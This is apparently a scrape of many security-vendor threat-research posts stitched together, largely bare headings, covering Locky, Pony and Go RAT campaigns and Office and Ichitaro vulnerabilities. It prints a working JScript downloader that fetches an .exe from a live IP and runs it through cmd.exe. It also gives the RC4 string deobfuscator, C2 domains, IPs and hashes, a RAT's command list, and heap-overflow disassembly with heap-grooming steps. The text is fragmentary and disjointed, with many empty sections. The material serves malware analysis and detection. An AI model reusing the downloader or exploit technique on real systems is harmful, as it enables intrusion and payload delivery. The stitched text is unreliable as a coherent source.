IOCs

Details

Memory Disclosure Vulnerability

Code Execution Vulnerabilities

Tested Version

Coverage

Summary

TALOS-2016-0198: Oracle Outside In Technology PDF Parser Confusion Code Execution Vulnerability (CVE-2016-3271)

TALOS-2016-0215: Oracle Outside In Technology RTF Code Execution Vulnerability (CVE-2016-3293)

Conclusion

Coverage

The number of active IP addresses on the SpamCop BL illustrates the current lack of Necurs activity

Campaign 1 - Double Zipped Locky

Sample Email from Locky Campaign

Contents of JSE File

GET Requests for Malicious Files

Campaign 2 - Rar based Locky

Sample Email from Locky Campaign

Malicious Javascript File

Dridex Look-alike GET Request

Example of new User Agent

IOCs

Campaign 1

Campaign 2

Conclusion

Coverage

Overview

Coverage

Overview

Coverage

Overview

The Nested Document

OLE object contained in the Office document

Analysis of the payload

C&C configuration

First Step:

HTTP request to the C&C

The DNS requests on the CC view on Cisco Umbrella

Second step:

Second HTTP request

The URI contains the value of “k1” obtained with the first request. If this initial request succeeds, the function expLoaded() (for Exploit Loaded) is executed.

Third step:

The result of the previous request is stored in the swf variable.  The data stored in this variable is an encrypted Adobe Flash object (swf). The ActionScript uses the unpack() function with a key (“k3”) obtained during the first request:

decryption of the download SWF file

On this step, the ActionScript performs a third HTTP query:

third HTTP request

If the request succeeds, the function payLoaded (for Payload Load) is called.

Fourth step:

The result of the previous request contains an encoded payload. The ActionScript uses the same unpack() with a different key (“k4”) that was obtained with the initial request.
Finally, the downloaded malicious Adobe Flash file is executed via the flash.display.Loader() API with the payload in the argument. The argument variable is called “sh” for shellcode:

execution of the SWF exploit with the payload in argument

A Trap!

The malicious payload has recently been replaced to return a substantial amount of junk data to inhibit investigation. This is designed to create resource utilization issues for devices like simplistic sandbox based security systems. As indicated in the Investigate data above it appears that many members of the security community are looking into these domains. This is very likely a direct response to hinder investigations.

Conclusion

The analysis of the Microsoft Office document shows an advanced workflow of infection. The purpose of the document is first to perform a reconnaissance of the victims in order to avoid communicating with sandbox systems or analyst virtual machines. Second, the Adobe Flash requests a payload and an Adobe Flash exploit which is loaded and executed on the fly. This approach is extremely clever, from the attacker point of view, the exploit is not embedded in the document making it more difficult to detect for some security devices than the standard word trojan. It’s important to note that the actor realized security researchers were poking around their infrastructure and then rigged the infrastructure to create resource issues for some security devices. These are the characteristics of reasonably advanced attackers who have designed an efficient minimalist framework that was able to adapt purposes on the fly.

Hash:
ffd5bd7548ab35c97841c31cf83ad2ea5ec02c741560317fc9602a49ce36a763
7c25a5cd3684c470066291e4dec7d706270a5392bc4f907d50b6a34ecb793f5b

Coverage

Summary:

Preliminary analysis:

Dissection:

Encryption:

Network behavior:

Exfiltration:

Other supports:

Related samples:

Conclusion:

Coverage:

References:

Propagation

Coverage

Snort Rules

• 23893
• 23903
• 23905-23933
• 24127
• 40906

ClamAV Signatures

• Win.Dropper.DistTrack-*
• Win.Trojan.DistTrack.*
• Win.Malware.DistTrack.*

AMP Detection

• W32.GenericKD:Malwaregen.20c3.1201
• W32.Malwaregen.19nb.1201
• W32.47BB36CD28-95.SBX.TG
• W32.Malwaregen.19nb.1201
• W32.Generic:Malwaregen.20c3.1201
• Win.Malware.DistTrack
• W32.128FA5815C-95.SBX.TG
• W32.C7FC1F9C2B-95.SBX.TG
• W32.EFD2F4C3FE-95.SBX.TG
• W32.010D4517C8-95.SBX.TG
• Win.Malware.DistTrack.Talos

Other Mitigation Strategies

Overview

Coverage

The Pub

JS Obfuscation

• String obfuscation by using the hexadecimal value instead of the ASCII character:
  

  var NDpKxelW=new ActiveXObject('\x57\x53\x63\x72\x69\x70\x74\x2e\x53\x68\x65\x6c\x6c');

  Becomes:
  

  var NDpKxelW=new ActiveXObject('WScript.Shell');

• String obfuscation by using RC4 encryption, here is an example:
  

  var WJYT=new ActiveXObject(_0('0x0','\x71\x75\x72\x70'));

  
  In this case, the function _0() is called with 2 arguments: an index and an RC4 encryption key. The index is used to identify the string to decrypt. You can see the nodejs script used to decrypt these strings in Appendix A. The Appendix B contains all the decrypted strings. The string above becomes:
  

  var WJYT=new ActiveXObject('Scripting.FileSystemObject');

var ws=new ActiveXObject('WScript.Shell');
var fs=new ActiveXObject('Scripting.FileSystemObject');
var exe_path=fs[GetSpecialFolder](0x2)+'\\'+"kl.pub"; // %TEMP%\kl.pub
var as=new ActiveXObject('ADODB.Stream');
as['Open']();
as['Type']=0x1;
as['Position']=0x0;
var http=new ActiveXObject('WinHTTP.WinHTTPRequest.5.1');
http['open'](),('http://5.200.52.198/flex/3435dde3r.exe',0x0);
http['send']();
if(http['Status']==0xc8){
  as['Write'](http['ResponseBody']);
  if(fs['FileExists'](exe_path))
    fs['DeleteFile'](exe_path);
  as['SaveToFile'](exe_path);
  as['Close'];
  if(!fs['FileExists'](exe_path))
    fs['DeleteFile'](exe_path);
  var command='cmd.exe /c'+exe_path;
  ws['Run'](command,0x0)
}

Payload

Conclusion

HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings\Enabled

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows Script Host\Settings\Enabled

IOCs

Network

• hxxp://5.200.52.198/flex/3435dde3r.exe (payload)
• hxxp://195.22.127.233/rec/fre.php (Pony CC)
• hxxp://kbfvzoboss.bid/alien/fre.php (Pony CC)
• hxxp://195.22.127.233/rec/fre.php (Pony CC)
• hxxp://alphastand.win/alien/fre.php (Pony CC)
• hxxp://alphastand.top/alien/fre.php (Pony CC)
• hxxp://alphastand.trade/alien/fre.php (Pony CC)
• hxxp://195.22.127.233:80/rec/fre.php (Pony CC)
• 5.200.52.198
• 195.22.127.233
• kbfvzoboss.bid
• alphastand.win
• alphastand.top
• alphastand.trade

Hashes

• 3cfd8919​f095e048​e0f24a41​c2f13232​8f0d0efe​19581b30​8d9d2d3f​fad40c29​ (skbmt_fax45.pub)
• 36baccd2a4fc4f683c839283123a75de61b01ce93205f4a34975263e9c66aaed (skbmt_faxreport34.pub)
• 42d0990daba69fa5068a6910d0eac487f3d308ce7e28799a959dace8d84125d7 (letten.js)
• d214c89af1929af1171ac40999b14a4f6fbcfd13b88cade392853a2c61057122 (payload)
• c7ef89222d760fc915690e6394c61c84176e618f7c9508beca30aa9a0f1b1991 (payload)

ThreatGrid Report

Coverage

Appendix A

(
  function(_17,_31){
     var _27=function(_28){
       while(--_28){_17['push'](_17['shift']())}
     };
     _27(++_31)
  } (_16,0x1af)

);


var _0=function(_6,_29){
   var _6=parseInt(_6,0x10);
   var _7=_16[_6];
   if(!_0['atobPolyfillAppended']){
      ( function(){
           var _23=Function('return (function () {}.constructor("return this")());');
           var _15=_23();
           var _37='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
           _15['atob']||(_15['atob']=function(_25){
              var _24=String(_25)['replace'](/=+$/,'');
              for(var _10=0x0,_9,_5,_30=0x0,_19=''; _5=_24['charAt'](_30++); ~_5&&(_9=_10%0x4?_9*0x40+_5:_5,_10++%0x4)?_19+=String['fromCharCode'](0xff&_9>>(-0x2*_10&0x6)):0x0){
                 _5=_37['indexOf'](_5)
              }
              return _19
           })
        }()
      );
     _0['atobPolyfillAppended']=!![]
   }

   if(!_0['rc4']){
     var _26=function(_4,_18)
       {
       var _2=[],_3=0x0,_8,_20='',_14='';
       _4=atob(_4);
       for(var _11=0x0,_33=_4['length']; _11<_33; _11++){
          _14+='%'+('00'+_4['charCodeAt'](_11)['toString'](0x10))['slice'](-0x2)
       }
       _4=decodeURIComponent(_14);
       for(var _1=0x0; _1<0x100; _1++){
         _2[_1]=_1
       }
       for(_1=0x0; _1<0x100; _1++){
         _3=(_3+_2[_1]+_18['charCodeAt'](_1%_18['length']))%0x100;
         _8=_2[_1];
         _2[_1]=_2[_3];
         _2[_3]=_8
       }
       _1=0x0;
       _3=0x0;
       for(var _12=0x0; _12<_4['length']; _12++){
         _1=(_1+0x1)%0x100;
         _3=(_3+_2[_1])%0x100;
         _8=_2[_1];
         _2[_1]=_2[_3];
         _2[_3]=_8;
         _20+=String['fromCharCode'](_4['charCodeAt'](_12)^_2[(_2[_1]+_2[_3])%0x100])
       }
       return _20
     };
     _0['rc4']=_26
   }


   if(!_0['data']){
     _0['data']={}
   }

   if(_0['data'][_6]===undefined){
     if(!_0['once']){
       _0['once']=!![]
     }_7=_0['rc4'](_7,_29);
     _0['data'][_6]=_7
   } else {
     _7=_0['data'][_6]
   }
   return _7
};


console.log(_0('0x0','\x71\x75\x72\x70'));
console.log(_0('0x1','\x58\x30\x4c\x4c'));
console.log(_0('0x2','\x53\x58\x5e\x6f'));
console.log(_0('0x3','\x35\x75\x62\x5a'));
console.log(_0('0x5','\x39\x52\x31\x36'));
console.log(_0('0x7','\x26\x37\x38\x62'));
console.log(_0('0x9','\x4c\x35\x62\x45'));
console.log(_0('0xb','\x73\x23\x35\x42'));
console.log(_0('0xc','\x24\x4f\x25\x37'));
console.log(_0('0xd','\x41\x75\x73\x46'));
console.log(_0('0xf','\x79\x67\x5d\x79'));
console.log(_0('0x11','\x4d\x42\x54\x69'));
console.log(_0('0x14','\x63\x54\x6a\x24'));
console.log(_0('0x15','\x79\x39\x21\x6a'));
console.log(_0('0x17','\x45\x61\x51\x6a'));
console.log(_0('0x1a','\x79\x72\x68\x70'));
console.log(_0('0x1c','\x53\x58\x5e\x6f'));
console.log(_0('0x1d','\x31\x23\x48\x6c'));
console.log(_0('0x1e','\x31\x23\x48\x6c'));
console.log(_0('0x20','\x72\x78\x5e\x4e'));
console.log(_0('0x23','\x26\x35\x6a\x6a'));
console.log(_0('0x25','\x38\x66\x39\x5a'));
console.log(_0('0x26','\x73\x23\x35\x42'));
console.log(_0('0x27','\x4a\x45\x41\x62'));
console.log(_0('0x2a','\x24\x4f\x25\x37'));
console.log(_0('0x2c','\x2a\x46\x4a\x51'));
console.log(_0('0x2e','\x45\x61\x51\x6a'));
console.log(_0('0x2f','\x52\x4f\x5d\x45'));
console.log(_0('0x30','\x79\x67\x5d\x79'));
console.log(_0('0x31','\x70\x6f\x46\x54'));
console.log(_0('0x32','\x45\x61\x51\x6a'));
console.log(_0('0x33','\x79\x39\x54\x2a'));
console.log(_0('0x34','\x52\x4f\x5d\x45'));
console.log(_0('0x35','\x35\x72\x4a\x2a'));
console.log(_0('0x36','\x58\x61\x5e\x6a'));
console.log(_0('0x37','\x79\x67\x5d\x79'));
console.log(_0('0x38','\x52\x4f\x5d\x45'));
console.log(_0('0x39','\x2a\x46\x4a\x51'));
console.log(_0('0x3a','\x73\x23\x35\x42'));
console.log(_0('0x3b','\x35\x75\x62\x5a'));
console.log(_0('0x3c','\x4d\x42\x54\x69'));
console.log(_0('0x3d','\x70\x6f\x46\x54'));
console.log(_0('0x3e','\x31\x23\x48\x6c'));
console.log(_0('0x3f','\x25\x2a\x4a\x4c'));
console.log(_0('0x41','\x50\x30\x70\x4b'));
console.log(_0('0x43','\x2a\x46\x4a\x51'));
console.log(_0('0x45','\x53\x58\x5e\x6f'));
console.log(_0('0x47','\x57\x28\x30\x76'));
console.log(_0('0x48','\x35\x5a\x54\x39'));
console.log(_0('0x49','\x4d\x42\x54\x69'));
console.log(_0('0x4b','\x52\x4f\x5d\x45'));
console.log(_0('0x4d','\x45\x61\x51\x6a'));
console.log(_0('0x4f','\x72\x78\x5e\x4e'));
console.log(_0('0x50','\x70\x6f\x46\x54'));

Appendix B

_0('0x0','\x71\x75\x72\x70'):  Scripting.FileSystemObject
_0('0x1','\x58\x30\x4c\x4c'):  GetSpecialFolder
_0('0x2','\x53\x58\x5e\x6f'):  kl.pub
_0('0x3','\x35\x75\x62\x5a'):  ADODB.Stream
_0('0x5','\x39\x52\x31\x36'):  Open
_0('0x7','\x26\x37\x38\x62'):  Type
_0('0x9','\x4c\x35\x62\x45'):  WinHttp.WinHttpRequest.5.1
_0('0xb','\x73\x23\x35\x42'):  open
_0('0xc','\x24\x4f\x25\x37'):  
_0('0xd','\x41\x75\x73\x46'):  http://5.200.52.198/flex/3435dde3r.exe
_0('0xf','\x79\x67\x5d\x79'):  send
_0('0x11','\x4d\x42\x54\x69'): Status
_0('0x14','\x63\x54\x6a\x24'): ResponseBody
_0('0x15','\x79\x39\x21\x6a'): FileExists
_0('0x17','\x45\x61\x51\x6a'): DeleteFile
_0('0x1a','\x79\x72\x68\x70'): Close
_0('0x1c','\x53\x58\x5e\x6f'): FileExists
_0('0x1d','\x31\x23\x48\x6c'): DeleteFile
_0('0x1e','\x31\x23\x48\x6c'): cmd.exe /c
_0('0x20','\x72\x78\x5e\x4e'): fba7b60b15f0b26aa5b56b8f378a0b1b4092ed23d3d08e9b5b86f70e54b4fbeb55757642
_0('0x23','\x26\x35\x6a\x6a'): getContext
_0('0x25','\x38\x66\x39\x5a'): text
_0('0x26','\x73\x23\x35\x42'): 6cc71d91778fcdda0eb8709e9348240b251afe5e971df8f80920b84ab4eeae83cae6b76c
_0('0x27','\x4a\x45\x41\x62'): 138825ed8f4199d67f9ca400b795b65fec1158ac4fd0e81a93f0b42abf77047ac4811a76
_0('0x2a','\x24\x4f\x25\x37'): display
_0('0x2c','\x2a\x46\x4a\x51'): onload
_0('0x2e','\x45\x61\x51\x6a'):
_0('0x2f','\x52\x4f\x5d\x45'): v269f82b2b41157791bb2ed68074f252a
_0('0x30','\x79\x67\x5d\x79'): return unescape(decodeURIComponent(window.atob(v269f82b2b41157791bb2ed68074f252a)))
_0('0x31','\x70\x6f\x46\x54'): v269f82b2b41157791bb2ed68074f252a
_0('0x32','\x45\x61\x51\x6a'): cmV0dXJuJTIwJ2NhbnZhcyclM0I= ==> return%20'canvas'%3B
_0('0x33','\x79\x39\x54\x2a'): cmV0dXJuJTIwJzJkJyUzQg== ==> return%20'2d'%3B
_0('0x34','\x52\x4f\x5d\x45'): cmV0dXJuJTIwJ3NjcmlwdCclM0I= ==> return%20'script'%3B
_0('0x35','\x35\x72\x4a\x2a'): vd547050f5153d6953e12ea54b398855a
_0('0x36','\x58\x61\x5e\x6a'): vaf2802b25cf6c34b77597f03a57f3f72
_0('0x37','\x79\x67\x5d\x79'): cmV0dXJuJTIwJ2RhdGElM0FpbWFnZSUyRnBuZyUzQmJhc2U2NCUyQyclM0I= ==> return%20'data%3Aimage%2Fpng%3Bbase64%2C'%3B
_0('0x38','\x52\x4f\x5d\x45'): iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAABCklEQVQYlSXPzUpUAQAG0HOHW/ZZ0KhYuMlFILgrBINq34u09RXbWdQiWgnZrpAgpx+j5rPUmRadNzjDwcFzDe+bPd7pQh7GBUftRTLj0agnzX1uMU/Xmj/pm2bgLgtW6/WI9EMtud5If4A1XZE5n3g2YaswjWusQqSN83TQ3Tgba4hTVlimV2zWFzlhoZfJL30woc3TuiFDnddxOqbYkm86bYzym22ZsU5kk9vsccqU7ZhN0nV9Gxu1lO+xo2oIqTpuNyYysMOl0pHD5g5/2yVjsh/jRIfkpf5vLeqJHuuLZN6sccRiRPs4lslNvdKjZFn3im7KV3k1acQhH9uzBiNNd/VnfGZL9/8BN0KFZOkfxykAAAAASUVORK5CYII= ==> a .png file
_0('0x39','\x2a\x46\x4a\x51'): cmV0dXJuJTIwdjE2NDQxZWY5MzA0YTU1MjBkNjYzZTY1ODBiZjE2Njc5LmdldEVsZW1lbnRCeUlkKHYyNjlmODJiMmI0MTE1Nzc5MWJiMmVkNjgwNzRmMjUyYSklM0I ==> return%20v16441ef9304a5520d663e6580bf16679.getElementById(v269f82b2b41157791bb2ed68074f252a)%3B
_0('0x3a','\x73\x23\x35\x42'): cmV0dXJuJTIwZG9jdW1lbnQ= ==> return%20document
_0('0x3b','\x35\x75\x62\x5a'): Zm9yKHZmZmI2NzlhNGViODJjNmVhN2U2MjM0ODc1MmRmZThkYSUzRHY0MjZjNGU1ZWRmM2EwMGM1YjA2Njg3MjM0YTEyMDVkZSU1QjIlNUQlM0IlMjB2ZmZiNjc5YTRlYjgyYzZlYTdlNjIzNDg3NTJkZmU4ZGElMjAlM0MlMjB2ZWNlYjgzNjgxMWJjOTRjMDAyNjU5MjZiZGIwNjgwMGQuZGF0YS5sZW5ndGglM0IlMjB2ZmZiNjc5YTRlYjgyYzZlYTdlNjIzNDg3NTJkZmU4ZGElMkIlM0Q0KXY1MzZkZmMyOGFkMDMxY2EyMTE1MmQyN2Q4NDViNTVmNyUyQiUzRCh2ZWNlYjgzNjgxMWJjOTRjMDAyNjU5MjZiZGIwNjgwMGQuZGF0YSU1QnZmZmI2NzlhNGViODJjNmVhN2U2MjM0ODc1MmRmZThkYSU1RCElM0R2NDI2YzRlNWVkZjNhMDBjNWIwNjY4NzIzNGExMjA1ZGUlNUIxJTVEKSUzRnZmNWQ3ZDMyZGI3YTg3YjU2Y2Q3M2M5Mzk2YWRjMzEwYSh2ZWNlYjgzNjgxMWJjOTRjMDAyNjU5MjZiZGIwNjgwMGQuZGF0YSU1QnZmZmI2NzlhNGViODJjNmVhN2U2MjM0ODc1MmRmZThkYSU1RCklM0F2MjFhM2QyZDNmYzVjMmMxZTFmM2E2MzNiZDhmMTZmN2UlNUI0JTVEJTNCJTIwdjUzNmRmYzI4YWQwMzFjYTIxMTUyZDI3ZDg0NWI1NWY3JTNEdjUzNmRmYzI4YWQwMzFjYTIxMTUyZDI3ZDg0NWI1NWY3LnRyaW0oKSUzQg== ==> for(vffb679a4eb82c6ea7e62348752dfe8da%3Dv426c4e5edf3a00c5b06687234a1205de%5B2%5D%3B%20vffb679a4eb82c6ea7e62348752dfe8da%20%3C%20veceb836811bc94c00265926bdb06800d.data.length%3B%20vffb679a4eb82c6ea7e62348752dfe8da%2B%3D4)v536dfc28ad031ca21152d27d845b55f7%2B%3D(veceb836811bc94c00265926bdb06800d.data%5Bvffb679a4eb82c6ea7e62348752dfe8da%5D!%3Dv426c4e5edf3a00c5b06687234a1205de%5B1%5D)%3Fvf5d7d32db7a87b56cd73c9396adc310a(veceb836811bc94c00265926bdb06800d.data%5Bvffb679a4eb82c6ea7e62348752dfe8da%5D)%3Av21a3d2d3fc5c2c1e1f3a633bd8f16f7e%5B4%5D%3B%20v536dfc28ad031ca21152d27d845b55f7%3Dv536dfc28ad031ca21152d27d845b55f7.trim()%3B
_0('0x3c','\x4d\x42\x54\x69'): cmV0dXJuJTIwbmV3JTIwSW1hZ2UoKSUzQg== ==> return%20new%20Image()%3B
_0('0x3d','\x70\x6f\x46\x54'): cmV0dXJuJTIwU3RyaW5nLmZyb21DaGFyQ29kZSh2MjY5ZjgyYjJiNDExNTc3OTFiYjJlZDY4MDc0ZjI1MmEpJTNC ==> return%20String.fromCharCode(v269f82b2b41157791bb2ed68074f252a)%3B
_0('0x3e','\x31\x23\x48\x6c'): v269f82b2b41157791bb2ed68074f252a
_0('0x3f','\x25\x2a\x4a\x4c'): width
_0('0x41','\x50\x30\x70\x4b'): width
_0('0x43','\x2a\x46\x4a\x51'): height
_0('0x45','\x53\x58\x5e\x6f'): height
_0('0x47','\x57\x28\x30\x76'): style
_0('0x48','\x35\x5a\x54\x39'): display
_0('0x49','\x4d\x42\x54\x69'): v269f82b2b41157791bb2ed68074f252a
_0('0x4b','\x52\x4f\x5d\x45'): drawImage
_0('0x4d','\x45\x61\x51\x6a'): getImageData
_0('0x4f','\x72\x78\x5e\x4e'): width
_0('0x50','\x70\x6f\x46\x54'): height

Appendix C

var NDpKxelW=new ActiveXObject('\x57\x53\x63\x72\x69\x70\x74\x2e\x53\x68\x65\x6c\x6c');
var WJYT=new ActiveXObject(_0('0x0','\x71\x75\x72\x70'));
var shKsim=WJYT[_0('0x1','\x58\x30\x4c\x4c')](0x2)+'\x5c'+_0('0x2','\x53\x58\x5e\x6f');
var LKGKUCoW=new ActiveXObject(_0('0x3','\x35\x75\x62\x5a'));
LKGKUCoW[_0('0x5','\x39\x52\x31\x36')]();
LKGKUCoW[_0('0x7','\x26\x37\x38\x62')]=0x1;
LKGKUCoW['\x50\x6f\x73\x69\x74\x69\x6f\x6e']=0x0;
var UhBHCFrnd=new ActiveXObject(_0('0x9','\x4c\x35\x62\x45'));
UhBHCFrnd[_0('0xb','\x73\x23\x35\x42')](_0('0xc','\x24\x4f\x25\x37'),_0('0xd','\x41\x75\x73\x46'),0x0);
UhBHCFrnd[_0('0xf','\x79\x67\x5d\x79')]();
if(UhBHCFrnd[_0('0x11','\x4d\x42\x54\x69')]==0xc8){
  LKGKUCoW['\x57\x72\x69\x74\x65'](UhBHCFrnd[_0('0x14','\x63\x54\x6a\x24')]);
  if(WJYT[_0('0x15','\x79\x39\x21\x6a')](shKsim))
    WJYT[_0('0x17','\x45\x61\x51\x6a')](shKsim);
  LKGKUCoW['\x53\x61\x76\x65\x54\x6f\x46\x69\x6c\x65'](shKsim);
  LKGKUCoW[_0('0x1a','\x79\x72\x68\x70')];
  if(!WJYT[_0('0x1c','\x53\x58\x5e\x6f')](shKsim))
    WJYT[_0('0x1d','\x31\x23\x48\x6c')](shKsim);
  var OGddGp=_0('0x1e','\x31\x23\x48\x6c')+shKsim;
  NDpKxelW['\x72\x75\x6e'](OGddGp,0x0)
  }

Summary

Initial Infection Vector

Binary Details

C2 Communications

{"Os":"<os type:<Windows>","Os_ver":"<os version>","Username":"<username and domain>","Hostname":"<system hostname>"}

• ListDir - This command returns a directory listing from the infected system.

• ListProcesses - This command returns a list of processes running on the infected system.

• KillProcess - This command causes the malware to execute the taskkill command against a target process running on the infected system.

• DownloadFile - This command causes the malware to download a file and save it into a target location specified in the command parameters.

• DLRUN - This command causes the malware to download a file, save it to %TEMP% and execute the downloaded file.

• RunCMD - This command uses Go's os/exec package to execute system commands on the infected system.

Conclusion

Indicators of Compromise (IOCs)

Domains:

Maldocs:

Binaries:

Coverage

Vulnerability Details

Coverage

Overview

Coverage

Coverage

Snort Rules

• 41655-41659

AMP Detection

• W32.C21074F340.magichound.hunt.talos
• W32.EA139A73F8.magichound.hunt.talos
• W32.DA2ABDC951.magichound.hunt.talos
• W32.0D3AE68286.magichound.hunt.talos
• W32.F0ECC4388F.magichound.hunt.talos
• W32.860F4CD443.magichound.hunt.talos
• W32.B42B118621.magichound.hunt.talos
• W32.4BEEE6E7AA.magichound.hunt.talos
• W32.5E0E09C986.magichound.hunt.talos
• W32.3161F9087D.magichound.hunt.talos
• W32.B6C159CAD5.magichound.hunt.talos
• W32.6A7537F2CE.magichound.hunt.talos
• W32.16D87FBD86.magichound.hunt.talos
• W32.92BC7D0444.magichound.hunt.talos
• W32.86D3409C90.magichound.hunt.talos
• W32.C3A8F51763.magichound.hunt.talos
• W32.A390365DDF.magichound.hunt.talos
• W32.D2FFC757A1.magichound.hunt.talos
• W32.79C9894B50.magichound.hunt.talos
• W32.2F7F358250.magichound.hunt.talos
• W32.8C2E4AA8D7.magichound.hunt.talos
• W32.ABE8E86B78.magichound.hunt.talos
• W32.9E4D2E983F.magichound.hunt.talos
• W32.E57F77CC3D.magichound.hunt.talos
• W32.CA6E823DED.magichound.hunt.talos
• W32.EAAECABB43.magichound.hunt.talos
• W32.1C3E527E49.magichound.hunt.talos
• W32.29A659FB0E.magichound.hunt.talos
• W32.218FAC3D06.magichound.hunt.talos
• W32.E5B643CB6E.magichound.hunt.talos
• W32.71E584E7E1.magichound.hunt.talos
• W32.388B26E22F.magichound.hunt.talos
• W32.33EE8A57E1.magichound.hunt.talos
• W32.5469FACC26.magichound.hunt.talos
• W32.528714AAAA.magichound.hunt.talos
• W32.66D24A5293.magichound.hunt.talos
• W32.CFCE482710.magichound.hunt.talos
• W32.68DB2B363A.magichound.hunt.talos
• W32.E837F6B814.magichound.hunt.talos
• W32.F912D40DE9.magichound.hunt.talos
• W32.AF0AE0FA87.magichound.hunt.talos
• W32.6D1A50CA3E.magichound.hunt.talos
• W32.6C195EA18C.magichound.hunt.talos
• W32.97943739CC.magichound.hunt.talos
• W32.7E57E35F8F.magichound.hunt.talos
• W32.DB453B8DE1.magichound.hunt.talos
• W32.82779504D3.magichound.hunt.talos
• W32.1C550DC73B.magichound.hunt.talos
• W32.7CDBF5C035.magichound.hunt.talos
• W32.B2EA3FCD2B.magichound.hunt.talos
• W32.3F23972A0E.magichound.hunt.talos
• W32.133959BE83.magichound.hunt.talos
• W32.BA3560D3C7.magichound.hunt.talos
• W32.D8731A94D1.magichound.hunt.talos
• W32.D08D737FA5.magichound.hunt.talos

Domain/IP Address Detection

• analytics-google[.]org
• microsoftexplorerservices[.]cloud
• msservice[.]site
• service.chrome-up[.]date
• service1.chrome-up[.]date
• servicesystem.serveirc[.]com
• syn.timezone[.]live
• timezone[.]live
• www.microsoftsubsystem.com-adm[.]in
• www1.chrome-up[.]date
• www3.chrome-up[.]date
• www5.chrome-up[.]date
• www7.chrome-up[.]date
• 104.218.120[.]128
• 104.238.184[.]252
• 139.59.46[.]154
• 45.56.123[.]129
• 45.58.37[.]142
• 45.76.128[.]165
• 69.87.223[.]26
• 89.107.60[.]11
• 89.107.62[.]39

Other Mitigation Strategies

Details

Denial-of-Service Vulnerability

Code Execution Vulnerabilities

Tested Version

Coverage

Executive Summary

Infection Vector: Hangul Word Processor

• C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (2).exe
• C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (3).exe

Dropped files

• Open a HWP document (to respond to the double click in the previous document)
• Download a payload from a compromised host/C2.

• The computer name
• The username
• The execution path of the sample
• The BIOS model by analysing the HKLM\System\CurrentControlSet\Services\mssmbios\Data\SMBiosData registry key. This information allows the attackers to identify Virtual Machine (on VirtualBox the model is "innotek GmbH VirtualBox")
• An ID randomly generated to identify the system

• www.kgls.or.kr/news2/news_dir/index.php (where the collected information is sent)
• www.kgls.or.kr/news2/news_dir/02BC6B26_put.jpg

Command & Control infrastructure

• 3 C2 in South Korea
• 1 C2 in the Netherlands

• Red: the '_put.jpg' binary (final payload)
• Orange: C2 infrastructure used by the attackers
• Yellow: the unpacked samples that perform the connection to download the final malware (the green bubbles share 90% of similar codes)
• Green: the dropped executable by the HWP document (the orange bubbles share 90% of similar codes)
• Blue: the HWP document

Conclusion

IOC

Coverage

Details

TALOS-2016-0196

TALOS-2016-0197

Tested Version

Coverage

Overview

Deep Dive - TALOS-2016-0197 (CVE-2017-2790) - JustSystems Ichitaro Office Excel File Code Execution Vulnerability

JCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4b1e:
44b48cda 8b461e          mov     eax,dword ptr [esi+1Eh] // File data from Continue Record
44b48cdd 668b4802        mov     cx,word ptr [eax+2]     // Size from file (in our case 0)
...
44b48ce4 6649            dec     cx                      // Underflow the 0 to be 0xffff
...
44b48ce8 894d08          mov     dword ptr [ebp+8],ecx   // Store the 0xffff for later use

JCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4b46:
44b48d04 0fb75508        movzx   edx,word ptr [ebp+8]   // Store 0xffff into edx
...
44b48d1f 52              push    edx                    // Push size
44b48d20 51              push    ecx                    // Push destination address 
44b48d21 83c005          add     eax,5
44b48d24 52              push    edx                    // Push size
44b48d25 50              push    eax                    // Push source address
44b48d26 e8c5f7ffff      call    JCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4334 (44b484f0)

int JCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4334(int src, int size, int dst, int size_)
{
  int result; 
  result = 0;
  if ( !size_ )
    return size;
  if ( size > size_ )
    return 0;
  if ( size > 0 )
  {
    result = size;
    do
    {
      *dst = *src++;
      ++dst;
      --size;
    }
    while ( size );
  }
  return result;
}

JCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4a1c:
442c8bd8 668b470e        mov     ax,word ptr [edi+0Eh] // Size from TxO element
442c8bdc 50              push    eax
442c8bdd e88b87f6ff      call    JCXCALC!JCXCCALC_Jsfc_ExConvert+0xd1b1 (4423136d)
JCXCALC!JCXCCALC_Jsfc_ExConvert+0xd1b1:
4423136d 0fb7442404      movzx   eax,word ptr [esp+4]
44231372 d1e0            shl     eax,1     // Attacker size * 2
44231374 50              push    eax
44231375 ff1580d42f44    call    ds:malloc // Controlled malloc
4423137b 59              pop     ecx
4423137c c3              ret

* Memory allocation of a controlled value multiplied by 2
* memcpy into the allocation of size 0xffff from attacker controlled file data

Overwrite target

* Object must be allocated with a predictable size into the heap's arena
* Object must be using virtual methods and have a virtual method table (vtable).
* Object must be destroyed after the overwrite happens.

+------+--------+------------+
| Type | Length | Value      |
+------+--------+------------+
struct Record {
    uint16_t type;
    uint16_t length;
    byte[length] value;
}

+--------+--------+------------+
|Type    | Len    | Value      |
+--------+--------+------------+
| 0x003c | 0x0004 | 0xdeadbeef |
+--------+--------+------------+

<class excel.RecordGeneral>
[0] <instance uint2 'type'> +0x003c (60)
[2] <instance uint2 'length'> +0x0004 (4)
[4] <instance Continue 'data'> "\xad\xde\xed\xfe"

* Allocates a data structure of size 0x14
* This element's object does contain a vtable
* This element's object is destroyed during the parsing of the EOF record by calling its virtual destructor.

Low-Fragmentation Heap

+-------+-------+--------------------------------+-----------+-------+
|  ...  | Arena | AggregateExchg.FreeEntryOffset | BlockSize |  ...  |
+-------+-------+--------------------------------+-----------+-------+
 Arena
+-----------------+-----+-----------+---------+---------+------------+
| Segment Pointer | ... | Signature | Block 1 | Block 2 | Block X... |
+-----------------+-----+-----------+---------+---------+------------+

* Allocate 0x12 allocations of the same size using the Palette record.
* Make 255 allocations to force the allocator to allocate a new segment.
(Note: This can be consolidated into just making 255 - 0x12 allocations.)

+----------------+--------------------+----------------+----------------+
| Block 1 (Busy) | Block 2 (Free)     | Block 3 (Free) | Block X (Free) |
| Data: ...      | FreeEntryOffset: 3 | FEO: 4         | FEO: X+1       |
+----------------+--------------------+----------------+----------------+

    State 0 - Beginning
    Next slot: 3
    Offset to Block 3 currently loaded into segment
    v 
    +--------------------+--------------------+----------------------+
